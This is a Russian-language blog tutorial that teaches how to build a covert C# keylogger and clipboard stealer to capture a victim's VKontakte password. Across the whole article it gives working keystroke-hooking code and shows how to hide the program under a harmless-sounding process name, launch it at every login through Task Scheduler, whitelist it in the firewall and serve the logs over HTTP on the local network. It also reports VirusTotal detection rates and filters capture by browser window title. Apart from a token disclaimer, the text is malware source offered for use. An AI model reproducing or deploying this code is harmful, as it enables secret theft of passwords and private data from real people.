March 14, 2020

Как сделать шпиона и следить за паролями

Делай Деньги

March 14, 2020

Делай Деньги

На чтение статьи уйдет около 13 минут.

Доброго времени суток, юные хацкеры! Хорошие кейлоггеры с большим функционалом и защитой от детекта антивирусов могут стоить многих денег. Но создание кейлоггера не такая уж сложная вещь, и при желании любой немного разбирающийся в программировании человек может самостоятельно написать свой собственный кейлоггер, который даже не будет палится антивирусами. В сегодняшней статье я покажу, как создать кейлоггер / клавиатурный шпион на C#.

Я никого ни к чему не призываю, статья написана в ознакомительных целях!

Создание кейлоггера на C#

Не будем мудрить и ограничимся необходимым минимумом. Допустим, мы хотим заполучить пароль жертвы от ВК и есть возможность физического доступа к компьютеру. При этом:

  • мы не беспокоим жертву лишними окнами, иконками в таскбаре, сообщениями об ошибках и подобным;
  • мы имеем доступ к целевому компьютеру только однократно и на очень короткий срок;
  • мы сможем забирать логи, находясь в той же локальной сети;
  • антивирус должен молчать;
  • файрвол не учитываем и предполагаем, что мы дадим ему разрешение вручную при подсадке кейлоггера;
  • мы не будем пытаться скрывать процесс и только дадим ему неприметное название.

Еще жертва может пользоваться парольным менеджером, тогда в логе мы получим только Ctrl-C и Ctrl-V. На этот случай будем мониторить еще и содержимое буфера обмена.

Писать будем на C# в Visual Studio. Забегая вперед, скажу, что в результате у меня получилось две версии программы — одна работает через перехват WinAPI, другую я про себя называю «костыльной». Но эта менее красивая версия дает другие результаты при проверке антивирусами, поэтому расскажу и о ней.

Теория создания клавиатурного шпиона на C#

Когда вы нажимаете на кнопку, операционная система посылает уведомления тем приложениям, которые хотят об этом узнать. Поэтому самый простой метод перехватить нажатие на клавиатуре — это принимать сообщения о нажатиях клавиш. Если мы этого сделать не можем (например, функция SetWindowsHookEx запрещена антивирусом или еще чем-либо), можно тянуть сырой ввод и без нее. Есть такая функция — GetAsyncKeyState, которая принимает номер клавиши и позволяет узнать, зажата она или отжата в момент вызова. Собственно, алгоритм действий будет такой: раз в N мс опрашиваем все кнопки и узнаем их состояние, занося нажатые в специальный список. Затем список обрабатываем, учитывая состояние клавиши Caps Lock, Num Lock, Shift, Ctrl и так далее. Полученные данные будут записываться в файл.

Написание кейлоггера на C#

Для начала откроем Visual Studio и создадим новый проект Windows Forms (.NET Framework). Почему именно Windows Forms? Если мы выберем обычное консольное приложение, то при каждом запуске будет создаваться некрасивое черное окошко, а ведь пользователь не хочется беспокоить. Также, пока мы не создали форму (а создавать ее мы и не будем), никаких значков в таскбаре не появится — важная часть скрытой работы. Теперь удаляйте автоматически созданный файл Form1.cs со всеми потрохами и открывайте Program.cs.

Делай Деньги

Здесь нас уже поджидает шаблон программы, но он не будет работать просто так. Первым делом надо убрать строчки 10–12 и 16–18. Теперь меняем объявление метода со static void Main() на static void Main(String[] args). Нужно это для того, чтобы мы могли определить свои аргументы при перезапуске.

Теперь добавим using System.IO; для работы с файлами, System.Runtime.InteropServices для работы с WinAPI и System.Threading для приостановки потока. Если вы не хотите писать костыльный вариант, лучше пропустите этот раздел и сразу переходите к следующему.

Импортируем GetAsyncKeyState из user32.dll:

[DllImport("user32.dll")]

public static extern int GetAsyncKeyState(Int32 i);


И добавляем собственно логирование нажатий, собирая их по десять штук, чтобы не делать слишком много дисковых операций:

while (true)

{

Thread.Sleep(100);

for (int i = 0; i < 255; i++)

{

int state = GetAsyncKeyState(i);

if (state != 0)

{

buf += ((Keys)i).ToString();

if (buf.Length > 10)

{

File.AppendAllText("keylogger.log", buf);

buf = "";

}

}

}

}

Делай Деньги

*Расшифровывать такой лог будет неудобно*

Выглядит не очень красиво, а про читабельность вообще можно забыть. Во-первых, наш код тянет ввод не только с клавиатуры, но и с мыши (всякие LButton и RButton). Поэтому давайте не будем записывать нажатие, если это не символьная клавиша. Заменим содержимое if в цикле на это:


Усовершенствованная проверка введенных символов:

if (((Keys)i) == Keys.Space) { buf += " "; continue; }

if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }

if (((Keys)i) == Keys.LButton ||((Keys)i) == Keys.RButton ||((Keys)i) == Keys.MButton) continue;

if (((Keys)i).ToString().Length == 1)

{

buf += ((Keys)i).ToString();

}

else

{

buf += quot;<{((Keys)i).ToString()}>";

}

if (buf.Length > 10)

{ File.AppendAllText("keylogger.log", buf);

buf = "";

}

После такого редактирования лог стал намного чище:

Делай Деньги

Так уже намного лучше! Теперь нужно добавить обработку кнопок Shift и Caps Lock. Добавим в начале цикла следующий код:

bool shift = false;

short shiftState = (short)GetAsyncKeyState(16);

// Keys.ShiftKey не работает, поэтому я подставил его числовой эквивалент

if ((shiftState & 0x8000) == 0x8000)

{

shift = true;

}

var caps = Console.CapsLock;

bool isBig = shift | caps;

Теперь у нас есть переменная, которая показывает, нужно ли нам оставить букву большой. Проверяем ее и складываем символы в буфер.

Делай Деньги

Следующая проблема — это сообщения вида <Oemcomma>, <ShiftKey>, <Capital> и другие подобные. Они значительно усложняют чтение лога, так что придется это исправлять. Например, <Oemcomma> — это обычная человеческая запятая, а <Capital> — не что иное, как Caps Lock. Немного потестировав логгер на своем компьютере, я собрал достаточно материала, чтобы привести лог в порядок. Например, некоторые символы можно сразу заменить.

Проверка на пробел и Enter:

if (((Keys)i) == Keys.Space) { buf += " "; continue; }

if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }

А вот вещи вроде побороть сложнее. У шифта, кстати, есть два разных варианта — правый и левый. Убираем все это, ведь состояние заглавных букв мы уже получили.

if (((Keys)i).ToString().Contains("Shift") || ((Keys)i) == Keys.Capital) { continue; }

Погоняв логгер некоторое время, обнаруживаем и другие кнопки, которые нужно обрабатывать по-особому:

  • Num Lock;
  • функциональные клавиши;
  • Print Screen;
  • Page Up и Page Down;
  • Scroll Lock;
  • сочетание Shift + цифровая клавиша;
  • Tab;
  • Home и End;
  • Пуск;
  • Alt;
  • клавиши со стрелками.

Добавляем еще проверки и замены, и лог приобретает читабельный вид. В целом уже неплохо! Из недостатков: нет поддержки русской раскладки, что, впрочем, не так важно, если наша цель — получить пароли.

Смотрим, что скажет антивирус…

Делай Деньги
Реакция антивируса при принудительном сканировании
Делай Деньги
Реакция при запуске (позже говорит, что все ок)

Загружаем образец на VirusTotal, чтобы проверить на остальных. Результат: только 8 из 70 антивирусов что-то подозревают.

Делай Деньги

Красивый вариант клавиатурного шпиона

Теперь попробуем сделать более правильно и будем перехватывать сообщения о нажатии клавиш на клавиатуре. Первые шаги те же: создаем проект Windows Forms и придумываем неприметное название (например, WindowsPrintService). В заглушке, которую нам создала Visual Studio, меняем void Main() на void Main(String[] args).

Теперь сделаем простую проверку аргументов:


if (((Keys)i) == Keys.Space) { buf += " "; continue; }

if (args != null && args.Length > 0)

{

if (args[0] == "-i") {}

// Здесь проверки по аналогии с предыдущей строкой

}

else

{

// Запущено без параметров

}

Дальше довольно много кода, не буду приводить его весь. Там есть флаги Caps Lock, Shift и прочее, а нажатия определяются гигантским Switch. Но показать я хочу не это, а установку хука на клавиатуру.

Делай Деньги

Сначала мы помещаем ссылку на нашу функцию в переменную callback, потом получаем handle нашей программы, затем устанавливаем хук. А дальше вечно обрабатываем получаемые сообщения каждые 5 мс (PeekMessageA). Важный момент — объявление callback-функции, которая должна точно соответствовать WinAPI, а также передача управления нижележащим обработчикам:

private static IntPtr CallbackFunction(Int32 code, IntPtr wParam, IntPtr lParam)

А тут мы передаем управление дальше по цепочке хуков:

return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)

Делай Деньги

На этом скрине виден код нашей callback-функции с некоторыми сокращениями (не уместился разбор нажатия клавиш). Обратите внимание на упомянутый выше вызов CallNextHookEx, который нужен, чтобы не только мы получали сообщения о нажатиях клавиш.

Делай Деньги

На этом скриншоте видна обработка нажатий цифровых клавиш с зажатым шифтом, а на следующем — ситуация с Caps Lock и Shift.

Делай Деньги
Определяем регистр введенного символа

Клиппер для вытаскивания данных из буфера обмена

Клиппер — это программа, предназначенная для похищения данных из буфера обмена (название — от слова clipboard). Пригодиться это может, например, на случай, если жертва использует менеджер паролей и копирует пароли оттуда.

Создадим новую форму Windows, удалим файлы <ИмяФормы>.Designer.cs и <ИмяФормы>.resx. Теперь перейдем в режим редактирования, нажав F7, и приступим к написанию кода. Добавим using System.Runtime.InteropServices и импортируем WinAPI (на скриншоте — в отдельном классе).

Делай Деньги

В конструктор формы вставляем следующий код:

NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);

NativeMethods.AddClipboardFormatListener(Handle);

Первый вызов сделает наше окно способным к восприятию системных сообщений, а второй назначит обработчик поступающих сообщений.


Теперь объявим переменную типа String и назовем ее lastWindow. Теперь мы переназначим стандартную функцию обработки сообщений (void WndProc(ref Message m)):

protected override void WndProc(ref Message m)

{

if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)

{

// Получаем handle активного окна

IntPtr active_window = NativeMethods.GetForegroundWindow();

// Получаем заголовок этого окна

int length = NativeMethods.GetWindowTextLength(active_window);

StringBuilder sb = new StringBuilder(length + 1);

NativeMethods.GetWindowText(active_window, sb, sb.Capacity);

Trace.WriteLine("");

// Сохраняем содержимое буфера обмена в лог

Trace.WriteLine("\t[Сtrl-C] Clipboard Copied: " + Clipboard.GetText());

}

// Вызываем старый обработчик

base.WndProc(ref m);

}

Просто? Вот именно. Только добавлять этот вызов нужно после назначения обработчика для Trace, иначе весь вывод улетит в неизвестные дали.

Сбор логов

Следующее, что нам нужно, — это забирать лог удаленно. Поскольку мы не собираемся заниматься промышленным шпионажем, то можно для начала ограничиться доступом из локальной сети. Для этого будет достаточно встроить в наш проект минималистичный сервер HTTP. Вот подходящий исходник, а вот доработанная мной версия.

Использование тоже весьма примитивное: достаточно создать объект нашего сервера, и он автоматически займет адреса localhost:34000 и <InternalIP>:34000 под HTTP и на этих же адресах порт 34001. Сервер будет возвращать список файлов и папок в виде списка или содержимое файла, если запрошен файл.

В конструктор нужно передать путь к папке, в которую пишутся логи (или любой другой, которая может понадобиться). По умолчанию логи пишутся в текущую папку, значит, в конструктор передаем Environment.CurrentDirectory.

Чтобы автоматизировать добавление нашей программы в белый список файрвола, вы можете воспользоваться Windows Firewall API. В этом вам помогут библиотеки-обертки FirewallManager, WindowsFirewallHelper и YFW.Net.

Автозапуск кейлоггера

Есть много способов попасть в автозагрузку: тут и папка «Автозагрузка», и куча мест в реестре, и установка своего драйвера, и создание службы… Однако реестр и драйверы отслеживаются любым приличным антивирусом, а создание службы слишком кривой вариант, который может сломаться в любой момент, хотя на крайний случай неплохо.

Мы же просто создадим задачу в планировщике заданий и попросим его запускать наш логгер с нужными параметрами при каждом входе юзера в систему. Для работы с планировщиком заданий берем пакет Microsoft.Win32.TaskScheduler из NuGet. Код для работы с ним я выложил на Pastebin. Не забудьте поправить путь, на который ссылается запись в планировщике.

Алгоритм действий логгера при запуске я показал на картинке.

Делай Деньги

Реакция антивирусов на кейлоггер

Проверка более красивого варианта на VirusTotal показывает, что его обнаруживает большее число антивирусов, чем раньше, — 15 из 70. Однако среди оставшихся — почти все популярные у нас домашние антивирусы.

Делай Деньги
В общем, главное — не нарваться на «Авиру» или NOD32.

Проверка заголовка окна

Если наша предполагаемая жертва сразу после входа в систему пошла логиниться в ВК, то, считайте, вам повезло. Но что, если вместо этого она села играть в контру? Пароль придется вытаскивать из тонн символов W, A, S, D и пробелов, а с «костыльным» вариантом это еще сложнее. Поэтому давайте прокачаем наш логгер: будем записывать сигналы клавиатуры только тогда, когда активно окно браузера с формой входа. Для этого вернемся к WinAPI, а конкретно к функции GetForegroundWindow.

Делай Деньги

В импорте видна еще одна функция, которая нам понадобится: GetWindowText. Она нужна, чтобы по хендлу окна получить его заголовок. Алгоритм действий тут тоже предельно понятен: сначала получаем заголовок активного окна, затем проверяем, нужно ли включать логгер, и включаем его (или выключаем).

Реализация этой схемы.

Создадим функцию IsForegroundWindowsInteresting. Ее код будет таким:

bool IsForegroundWindowInteresting(String s)

{

IntPtr _hwnd = GetForegroundWindow();

StringBuilder sb = new StringBuilder(256);

GetWindowText(_hwnd, sb, sb.Capacity);

if (sb.ToString().ToUpperInvariant().Contains(s.ToUpperInvariant())) return true;

return false;

}

В самом начале нашей функции CallbackFunction вставляем:

if (IsForegroundWindowInteresting("Welcome! | VK") ||

IsForegroundWindowInteresting("Добро пожаловать | ВКонтакте"))

{

return CallNextHookEx(IntPtr.Zero, code, wParam, lParam);

}


Как вы заметили, я проверяю два варианта, так как не знаю, какой язык использует жертва. Если мы не нашли интересного окна, то просто переходим к следующему обработчику и не нагружаем компьютер лишними дисковыми операциями.

Поиск по логу

Теперь давайте предположим, что лог все равно вырос до угрожающих размеров и нам нужно вытащить из него, например, номер телефона, чтобы знать, с какого места искать пароль. Для этого лучше всего подойдут регулярные выражения, в C# они предоставлены классом Regex.

По понятным причинам логи мы будем анализировать на своей машине, так что сделаем отдельную программу. Чтобы использовать регулярки, добавим using System.Text.RegularExpressions и сделаем метод, который принимает на вход путь к файлу лога, а на консоль выводит все найденные телефонные номера.

public void FindTelephoneNmbers(String path)

{

String _file = System.IO.File.ReadAllText(path);

String _regex = @"((\+38|8|\+3|\+ )[ ]?)?([(]?\d{3}[)]?[\- ]?)?(\d[ -]?){6,14}";

Regex _regexobj = new Regex(_regex);

MatchCollection matches = _regexobj.Matches(_file);

if (matches.Count > 0)

{

foreach (Match match in matches)

{

Console.WriteLine(quot;Match found: \"{match.Value}\"");

}

}

else

{

Console.WriteLine("No matches found.");

}

}


Пароль будет идти следом за номером телефона.

Итого

Итак, мы убедились в том, что написать кейлоггер — не проблема. Более того, наш самописный клавиатурный шпион со всеми его ограничениями имеет важное преимущество: антивирусам заранее неизвестно о его существовании, а по функциям его определяют далеко не все из них. Конечно, дальше можно многое дорабатывать. Например, добавить возможность доступа через интернет, научить кейлоггер работать с разными клавиатурными раскладками, добавить снятие скриншотов и другие фишки. Моей же целью в этой статье было показать, насколько просто создать кейлоггер самостоятельно.